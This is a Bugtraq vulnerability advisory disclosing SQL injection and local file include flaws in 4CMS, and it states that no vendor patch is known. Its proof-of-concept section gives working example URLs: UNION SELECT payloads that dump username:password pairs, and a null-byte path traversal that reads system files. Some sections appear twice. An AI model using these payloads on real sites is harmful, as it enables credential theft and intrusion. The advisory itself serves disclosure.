4CMS SQL Injection and Local File Include Vulnerabilities
BID:34355
Info
4CMS SQL Injection and Local File Include Vulnerabilities
| Bugtraq ID: | 34355 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 02 2009 12:00AM |
| Updated: | Apr 03 2009 09:46PM |
| Credit: | k1ll3r_null |
| Vulnerable: |
Tessera Multimedia A.E. 4CMS 0 |
| Not Vulnerable: | |
Discussion
4CMS SQL Injection and Local File Include Vulnerabilities
4CMS is prone to multiple SQL-injection vulnerabilities and a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.
Exploiting the SQL-injection issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
The attacker can exploit the local file-include issue to execute arbitrary local script code and obtain sensitive information that may aid in further attacks.
4CMS is prone to multiple SQL-injection vulnerabilities and a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.
Exploiting the SQL-injection issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
The attacker can exploit the local file-include issue to execute arbitrary local script code and obtain sensitive information that may aid in further attacks.
Exploit / POC
4CMS SQL Injection and Local File Include Vulnerabilities
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/frontend/article.php?aid=-9999+union+all+select+1,2,concat(username,char(58),password),4,5,6,7,8,9,10+from+users--
http://www.example.com/frontend/articles.php?cid=-999+union+all+select+1,2,concat(username,char(58),password),4,5,6,7,8,9,10+from+users--
http://www.example.com/frontend/index.php?chlang=../../../../etc/services%00
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/frontend/article.php?aid=-9999+union+all+select+1,2,concat(username,char(58),password),4,5,6,7,8,9,10+from+users--
http://www.example.com/frontend/articles.php?cid=-999+union+all+select+1,2,concat(username,char(58),password),4,5,6,7,8,9,10+from+users--
http://www.example.com/frontend/index.php?chlang=../../../../etc/services%00
Solution / Fix
4CMS SQL Injection and Local File Include Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
4CMS SQL Injection and Local File Include Vulnerabilities
References:
References:
- 4CMS Homepage (Tessera Multimedia A.E.)